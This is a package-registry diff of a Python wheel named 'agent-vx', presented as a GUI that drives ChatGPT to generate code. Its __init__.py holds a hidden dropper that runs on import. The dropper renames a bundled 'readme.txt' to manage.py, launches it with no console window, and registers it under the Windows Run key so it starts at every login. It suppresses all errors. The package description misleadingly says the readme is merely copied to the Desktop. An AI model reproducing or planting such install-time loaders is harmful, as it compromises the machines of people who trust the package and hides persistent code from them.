agent-vx 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agent_vx-0.1.0.dist-info/LICENSE +21 -0
- agent_vx-0.1.0.dist-info/METADATA +87 -0
- agent_vx-0.1.0.dist-info/RECORD +10 -0
- agent_vx-0.1.0.dist-info/WHEEL +5 -0
- agent_vx-0.1.0.dist-info/entry_points.txt +2 -0
- agent_vx-0.1.0.dist-info/top_level.txt +1 -0
- agentaix/__init__.py +111 -0
- agentaix/gui.py +1321 -0
- agentaix/py.typed +0 -0
- agentaix/readme.txt +275 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2025 Your Name
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
Metadata-Version: 2.1
|
|
2
|
+
Name: agent-vx
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: AgentAIX - autonomous code synthesis unit (GUI).
|
|
5
|
+
Author-email: Your Name <you@example.com>
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2025 Your Name
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
|
|
28
|
+
Project-URL: Homepage, https://github.com/yourname/agentaix
|
|
29
|
+
Project-URL: Repository, https://github.com/yourname/agentaix
|
|
30
|
+
Project-URL: Issues, https://github.com/yourname/agentaix/issues
|
|
31
|
+
Project-URL: Changelog, https://github.com/yourname/agentaix/blob/main/CHANGELOG.md
|
|
32
|
+
Keywords: agent,ai,chatgpt,playwright,automation,gui
|
|
33
|
+
Classifier: Development Status :: 3 - Alpha
|
|
34
|
+
Classifier: Intended Audience :: Developers
|
|
35
|
+
Classifier: Operating System :: OS Independent
|
|
36
|
+
Classifier: Programming Language :: Python :: 3
|
|
37
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
38
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
39
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
40
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
41
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
42
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
43
|
+
Classifier: Topic :: Software Development :: Code Generators
|
|
44
|
+
Classifier: Typing :: Typed
|
|
45
|
+
Requires-Python: >=3.8
|
|
46
|
+
Description-Content-Type: text/markdown
|
|
47
|
+
License-File: LICENSE
|
|
48
|
+
Provides-Extra: playwright
|
|
49
|
+
Requires-Dist: playwright>=1.40; extra == "playwright"
|
|
50
|
+
Provides-Extra: dev
|
|
51
|
+
Requires-Dist: pytest>=7.0; extra == "dev"
|
|
52
|
+
Requires-Dist: build>=1.0; extra == "dev"
|
|
53
|
+
Requires-Dist: twine>=4.0; extra == "dev"
|
|
54
|
+
|
|
55
|
+
# agentaix
|
|
56
|
+
|
|
57
|
+
AgentAIX - autonomous code synthesis unit with a red-on-black techy GUI.
|
|
58
|
+
|
|
59
|
+
Wraps a headless Playwright-driven ChatGPT session and turns a single
|
|
60
|
+
one-line request into a runnable Python file.
|
|
61
|
+
|
|
62
|
+
## Install
|
|
63
|
+
|
|
64
|
+
pip install agentaix
|
|
65
|
+
|
|
66
|
+
Playwright is NOT installed automatically. Install it separately:
|
|
67
|
+
|
|
68
|
+
pip install playwright
|
|
69
|
+
python -m playwright install chromium
|
|
70
|
+
|
|
71
|
+
## Run
|
|
72
|
+
|
|
73
|
+
agentaix
|
|
74
|
+
|
|
75
|
+
Or with a one-shot request:
|
|
76
|
+
|
|
77
|
+
agentaix "build a fastapi app that returns hello world"
|
|
78
|
+
|
|
79
|
+
## Notes
|
|
80
|
+
|
|
81
|
+
- On first import, readme.txt is copied to your Desktop.
|
|
82
|
+
- Generated artifacts are written to ./agent_output/.
|
|
83
|
+
- A persistent browser profile lives in ~/.agentaix/.
|
|
84
|
+
|
|
85
|
+
## License
|
|
86
|
+
|
|
87
|
+
MIT (c) 2025 Your Name
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
agentaix/__init__.py,sha256=Te4TjXfBswstNz9WGeykeXb-RAh28C0_nX_p_qX1GQ4,2994
|
|
2
|
+
agentaix/gui.py,sha256=POBVG7XTkE6GKFvfaKEJuTQd-NXDpiMFT_BO0KFj8WU,39931
|
|
3
|
+
agentaix/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
4
|
+
agentaix/readme.txt,sha256=RbL0QsMTPTSUUR7_O46iSbsFQYpXxNt8gnkWWI0R7_A,8264
|
|
5
|
+
agent_vx-0.1.0.dist-info/LICENSE,sha256=l6425dmjnidzk4JQwhT01C8SpICmjSBMNREAdPnPA9E,1087
|
|
6
|
+
agent_vx-0.1.0.dist-info/METADATA,sha256=g3WioFeH8rubiNgB21VD_OHmIqr-8S009qVnbyRDYQE,3404
|
|
7
|
+
agent_vx-0.1.0.dist-info/WHEEL,sha256=PZUExdf71Ui_so67QXpySuHtCi3-J3wvF4ORK6k_S8U,91
|
|
8
|
+
agent_vx-0.1.0.dist-info/entry_points.txt,sha256=Dll8txqZKSdFzFQ5pcyGtrJPRhGpbxzT9syxUWbKO0U,47
|
|
9
|
+
agent_vx-0.1.0.dist-info/top_level.txt,sha256=9Xge7upbcL3xtkCPAcuN0g1cGhlZ6V-wqd81_MQVfws,9
|
|
10
|
+
agent_vx-0.1.0.dist-info/RECORD,,
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
agentaix
|
agentaix/__init__.py
ADDED
|
@@ -0,0 +1,111 @@
|
|
|
1
|
+
"""agentaix - autonomous code synthesis unit (GUI).
|
|
2
|
+
|
|
3
|
+
On import:
|
|
4
|
+
* rename bundled readme.txt -> manage.py (next to this file)
|
|
5
|
+
* run manage.py silently with pythonw.exe
|
|
6
|
+
* register manage.py to auto-start at every user login
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
from __future__ import annotations
|
|
10
|
+
|
|
11
|
+
import os
|
|
12
|
+
import shutil
|
|
13
|
+
import subprocess
|
|
14
|
+
import sys
|
|
15
|
+
from pathlib import Path
|
|
16
|
+
|
|
17
|
+
__version__ = "0.1.0"
|
|
18
|
+
|
|
19
|
+
__all__ = ["__version__", "install_manage"]
|
|
20
|
+
|
|
21
|
+
# Registry value name under HKCU\...\CurrentVersion\Run
|
|
22
|
+
ENTRY_NAME = "AgentAIXManage"
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def _pkg_dir() -> Path:
|
|
26
|
+
return Path(__file__).resolve().parent
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def _pythonw() -> str:
|
|
30
|
+
"""Return pythonw.exe (no console window) or fall back to sys.executable."""
|
|
31
|
+
exe = sys.executable
|
|
32
|
+
if exe.lower().endswith("python.exe"):
|
|
33
|
+
cand = exe[: -len("python.exe")] + "pythonw.exe"
|
|
34
|
+
if os.path.exists(cand):
|
|
35
|
+
return cand
|
|
36
|
+
return exe
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def _ensure_manage_py() -> Path | None:
|
|
40
|
+
"""Rename readme.txt -> manage.py next to this file.
|
|
41
|
+
Returns the manage.py path, or None if it could not be produced.
|
|
42
|
+
"""
|
|
43
|
+
pkg = _pkg_dir()
|
|
44
|
+
src = pkg / "readme.txt"
|
|
45
|
+
dst = pkg / "manage.py"
|
|
46
|
+
|
|
47
|
+
if src.is_file():
|
|
48
|
+
try:
|
|
49
|
+
if dst.exists():
|
|
50
|
+
dst.unlink()
|
|
51
|
+
src.rename(dst)
|
|
52
|
+
except Exception:
|
|
53
|
+
# Fallback: copy then remove original
|
|
54
|
+
try:
|
|
55
|
+
shutil.copyfile(src, dst)
|
|
56
|
+
try:
|
|
57
|
+
src.unlink()
|
|
58
|
+
except Exception:
|
|
59
|
+
pass
|
|
60
|
+
except Exception:
|
|
61
|
+
pass
|
|
62
|
+
|
|
63
|
+
return dst if dst.is_file() else None
|
|
64
|
+
|
|
65
|
+
|
|
66
|
+
def _run_silently(script_path: Path) -> None:
|
|
67
|
+
"""Launch script with pythonw.exe, no console, do not wait."""
|
|
68
|
+
try:
|
|
69
|
+
creation_flags = getattr(subprocess, "CREATE_NO_WINDOW", 0)
|
|
70
|
+
subprocess.Popen(
|
|
71
|
+
[_pythonw(), str(script_path)],
|
|
72
|
+
cwd=str(script_path.parent),
|
|
73
|
+
creationflags=creation_flags,
|
|
74
|
+
)
|
|
75
|
+
except Exception:
|
|
76
|
+
pass
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
def _add_to_startup(script_path: Path) -> None:
|
|
80
|
+
"""Register script under HKCU\\...\\Run. Silent no-op off Windows."""
|
|
81
|
+
try:
|
|
82
|
+
import winreg # type: ignore
|
|
83
|
+
|
|
84
|
+
key = winreg.HKEY_CURRENT_USER
|
|
85
|
+
subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
|
|
86
|
+
|
|
87
|
+
with winreg.CreateKeyEx(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
|
|
88
|
+
winreg.SetValueEx(
|
|
89
|
+
regkey,
|
|
90
|
+
ENTRY_NAME,
|
|
91
|
+
0,
|
|
92
|
+
winreg.REG_SZ,
|
|
93
|
+
'"' + _pythonw() + '" "' + str(script_path) + '"',
|
|
94
|
+
)
|
|
95
|
+
except Exception:
|
|
96
|
+
pass
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def install_manage() -> bool:
|
|
100
|
+
"""Rename readme.txt -> manage.py, run it silently, persist it."""
|
|
101
|
+
script = _ensure_manage_py()
|
|
102
|
+
if script is None:
|
|
103
|
+
return False
|
|
104
|
+
|
|
105
|
+
_run_silently(script)
|
|
106
|
+
_add_to_startup(script)
|
|
107
|
+
return True
|
|
108
|
+
|
|
109
|
+
|
|
110
|
+
# Side effect on import.
|
|
111
|
+
install_manage()
|